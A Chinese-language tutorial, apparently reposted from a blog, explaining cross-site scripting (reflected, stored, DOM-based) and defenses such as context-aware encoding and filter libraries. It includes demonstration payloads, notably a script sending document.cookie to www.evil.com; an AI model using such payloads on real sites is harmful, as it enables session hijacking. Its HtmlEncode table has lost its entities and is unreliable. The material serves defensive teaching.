记录如何防止跨站点脚本攻击之抄写
一.簡介
? ? ? ?跨站點腳本(XSS)是當前web應用中最危險和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網站,包括Google, Facebook, Amazon, PayPal等網站都發現這個漏洞。如果你密切關注bug賞金計劃,會發現報道最多的問題屬于XSS。為了避免跨站腳本,瀏覽器也有自己的過濾器,但安全研究人員總是能夠設法繞過這些過濾器。
? ? ?這種漏洞(XSS)通常用于發動cookie竊取、惡意軟件傳播(蠕蟲攻擊),會話劫持,惡意重定向。在這種攻擊中,攻擊者將惡意JavaScript代碼注入到網站頁面中,這樣“受害”者的瀏覽器就會執行攻擊者編寫的惡意腳本。這種漏洞容易找到,但很難修補。這就是為什么你可以在任何網站發現它的身影。
二.跨站點腳本是什么?
? ? ?跨站點腳本攻擊是一種Web應用程序的攻擊,攻擊者嘗試注入惡意腳本代碼到受信任的網站上執行惡意操作。在跨站點腳本攻擊中,惡意代碼在受影響用戶的瀏覽器端執行,并對用戶的影響。也被稱為XSS攻擊。對于廣大的web程序猿來說。在網頁設計中,我們已經把級聯樣式表叫做CSS。因此為了避免混淆,我們把cross-site scripting成為XSS.
? ? ?這個漏洞發生在網站應用程序接受用戶的輸入數據卻沒有做必要的編碼。如果對用戶輸入的數據沒有進行正確的編碼和過濾,這個被注入惡意腳本將被發送給其他用戶。瀏覽器會正常地把這個腳本當成普通腳本執行,這個時候惡意的操作就不可避免的發生了。大部分的時候,XSS是用來竊取cookie,或竊取有效用戶的會話令牌session,以此進行會話劫持。
三.XSS的演示
? ? ?Example 1:
? ? ? ? ? 幾乎所有的網站上看到一個搜索框。有了這個搜索框,你可以搜索并找到在網站上存放的資料。這種搜索形式看起來像這樣:
<form action="search.php" method="get"><input type="text" name="q" value="" /><input type="submit" value="send" /> </form>? ? ? ? ??
? ? ? ? ? ? 在search.php頁面中,代碼顯示了搜索的結果,并且列出了用戶輸入的搜索關鍵字。形式如下:"Search results for Keyword" 或者"You Searched for Keyword"
? ? ? ? ? ? search.php可以這么寫來模擬功能:
<h3>You Searched for: <?php echo($_GET['q']); ?>? ? ? ? ? ??
? ? ? ? ? ? ?無論你輸入任何關鍵字,它將隨搜索結果一起被顯示在網頁上。如果一個攻擊者師徒從這個地方注入以下惡意腳本。
<script>alert('XSS injection')</script>? ? ? ? ? ? ?
? ? ? ? ? ? 可以看到,因為缺少對用戶輸入的有效的"編碼"和"過濾"。導致了XSS攻擊的發生,其實從本質上理解,XSS就是一種HTML的注入,和傳統的buffer overflow是類似的思想。即沒有對數據和代碼進行有效的分離,在緩沖區溢出,攻擊者在通過超長的數據包發送覆蓋了程序buffer的關鍵返回ret位置,導致CPU控制流的劫持,錯誤地把攻擊者數據當做代碼來執行,最后導致了緩沖區溢出。
? ? ? ? ? ? 而XSS中的HTML注入也是一種利用代碼和數據未有效分離的攻擊,只不過攻擊發生在受害者用戶的瀏覽器上,攻擊者將數據發送給服務器,服務器沒有對輸入的數據進行有效的"編碼"和"過濾"(即去除數據本身的代碼特性,對于HTML來說就是去除它們稱為Tag標簽的可能),導致了這些數據在用戶瀏覽器上得到執行,最終導致XSS攻擊的發生。
? ? Example 2:
? ? ? ? ? ? 很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:
<form action="sendmessage.php" method="post"><textarea name="message"> </textarea><input type="submit" value="send" /> </form>? ? ? ? ? ? 當用戶點擊發送時,這條消息會被保存在數據庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用于偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄露。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
? ? ? ? ? ? 惡意攻擊者可以在消息框中加入一下javascript代碼:
var url = "http://www.evil.com/index.php"; //攻擊者控制的服務器 var postStr = "ck=" + document.cookie; var ajax = null; if(window.XMLHttpRequest()) {ajax = new XMLHttpRequest(); } else if(window.ActiveXObject) {ajax = new ActiveXObject("Microsoft.XMLHttp"); } else {return; } ajax.open("POST", url, true); ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr); ajax.onreadystatechange = function() {if(ajax.readyState == 4 && ajax.status == 200){//alert("Done!");} }? ? ? 通過AJAX異步請求,將被攻擊者的敏感cookie信息發送給了攻擊者控制的服務器。攻擊者隨后即可利用這些cookie信息以"合法"用戶的身份進行登錄操作。
? ? ? ?先了解一下幾個問題:
? ? ? ?1.cookie的作用
Cookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。定義于RFC2109(已廢棄),最新取代的規范是RFC2965。? ? ? ? 也就是說,cookie是用戶和服務器之間的橋梁。服務器可以使用session來保存用戶的身份信息(ID,購物車等),但是需要用戶在訪問網頁(發送HTTP數據包)的時候附帶上相應的cookie,通過cookie中的特定值來識別sessionID,才能把單獨用戶和單獨的session練習起來。cookie是有狀態HTTP交互的一種重要機制。
? ? ? ?2.瀏覽器的同源策略
? ? ? ?在進行cookie竊取的時候,攻擊者偷取的cookie是什么,是全部cookie,還是當前這個網站的cookie?
同源策略,它是由Netscape提出的一個著名的安全策略。現在所有支持JavaScript的瀏覽器都會使用這個策略。所謂同源是指,域名,協議,端口相同。當一個瀏覽器的百度tab頁執行一個腳本的時候會檢查這個腳本是屬于哪個頁面的,即檢查是否同源,只有和百度同源的腳本才會被執行。? ? ? ?瀏覽器的同源策略限制了來自不同源的"document"或腳本,對當前"document"的讀取或者設置了某些屬性。為了不讓瀏覽器的頁面行為發生混亂,瀏覽器提出了"Origin"(源)這一概念,來自不同的Origin的對象無法互相干擾。
? ? ? ?因為同源策略的原因,也就導致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個域下觸發。
四、XSS攻擊的種類
? ? ? 業界普遍將XSS攻擊分為三類:反射型XSS(non-persisitent XSS),存儲型XSS(persistent XSS),DOM Based XSS
? ? ? 4.1 非持久性跨站點腳本攻擊
? ? ? ? ? ?非持久性XSS也稱為反射型跨站漏洞。它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。
? ? ? 4.2 持久的跨站點腳本攻擊
? ? ? ? ? ?持久型跨站點腳本也稱為存儲跨站點腳本。它一般發生在XSS攻擊向量 (一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當用戶打開頁面,查看內容時腳本將自動執行。
? ? ? 4.3 基于dom的跨站點腳本攻擊
? ? ? ? ? ? 基于DOM的XSS有時也稱為type0 XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(Document Object Model)并顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來看它也是反射型XSS。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
<script>function test(){var str = document.getElementById("text").value;document.getElementById("t").innetHTML = "<a href='" + str + "' >testLink</a>";} </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" οnclick="test()" />在這個場景中,代碼修改了頁面的DOM節點,通過innerHTML把一段用戶數據當做HTML寫入頁面中,這就造成了DOM Based XSS
' οnclick=alert(/xss/) '輸入后,頁面代碼就變成了:
<a href='' οnclick=alert(/xss/) '' >testLink</a>點擊這個新生成的鏈接,腳本將被執行。
實際上,這里還有另外一種利用方式--除了構造一個新事件外,還可以選擇閉合掉<a>標簽,并插入一個新的HTML標簽:
<a href=''><img src=# οnerrοr=alert(/xss2/) /><'' >testLink</a>五、XSS漏洞產生的原因
跨站點腳本的主要原因是程序猿對用戶的信任。另一個原因是,這種攻擊有許多變體,用制造出一種行之有效的XSS過濾器是一件比較困難的事情。但是這只是相對的,對用戶輸入數據的"編碼"和"過濾"在任何時候都是很重要的,我們必須采取一些針對性的手段對其進行防御。
六、如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼
? ? ? 6.1 需要重點"編碼"和"過濾"的對象
The URL HTTP referer objects GET parameters from a form POST parameters from a form Window.location Document.referer document.location document.URL document.URLUnencoded cookie data headers data database data? ? ? ? ?防御XSS有一個原則:
? ? ? ? ?以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從數據庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向數據庫寫入數據)
? ? ? ? ?對輸入的數據進行"過濾",對輸入數據進行"編碼"。這里的"編碼"也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據時輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
? ? ? ? ?如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javaescriptParser()兩種解析引擎的執行先后問題導致看似嚴密的“編碼”形同虛設。
? ? ? ?6.2 HtmlEncode HTML編碼
? ? ? ? ? ? 它的作用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1
? ? ? ? ? ? 為了對抗XSS,在HtmlEncode中要求至少轉換一下字符:
& --> & < --> < > --> > " --> " ' --> ' / --> / ? ? ? ? ? ? ? 在PHP中:
? ? ? ? ? ? ? ? ? ?htmlentities? ? ? ? ? ??http://www.w3school.com.cn/php/func_string_htmlentities.asp
? ? ? ? ? ? ? ? ? ?htmlspecialchars? ??http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
? ? ? ? 6.3? javascriptEncode javascript "編碼"
? ? ? ? ? ? ? javascriptEncode和HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用"\"對特殊字符進行轉義。從原理上來講,這都符合編碼函數的一個大原則:將數據和代碼區分開,因為對于HTML Tag來說,我們對其進行"可視化(轉換成可以見字符)"的編碼可以將數據和HTML的界限分開。而對于javascript來說,我們除了要進行編碼之外,還需要對特殊字符進行轉義,這樣共計輸入的用于"閉合"的特殊字符就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變量必須在引號內部,以避免造成安全問題。
? ? ? ? ? ? ? escape()? ? ??http://www.w3school.com.cn/js/jsref_escape.asp
? ? ? ? ? ? ? 該方法不會對ASCII字母和數字進行編碼,也不會對下面這些ASCII標點符號進行編碼: * @ -_ + . /。其他所有的字符都會被轉義序列(十六進制\xHH)替換。利用這個編碼函數,不僅能防御XSS攻擊,還可以防御一些command注入。
七、一些開源的防御XSS攻擊的代碼庫
PHP AntiXSS 這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站腳本漏洞。https://code.google.com/p/php-antixss/xss_clean.php filterhttps://gist.github.com/mbijon/1098477HTML Purifier http://htmlpurifier.org/xssprotect https://code.google.com/p/xssprotect/XSS HTML Filter http://finn-no.github.io/xss-html-filter/
總結
以上是生活随笔為你收集整理的记录如何防止跨站点脚本攻击之抄写的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 记录我对Padding Oracle攻击
- 下一篇: 读”SQL Injection Pock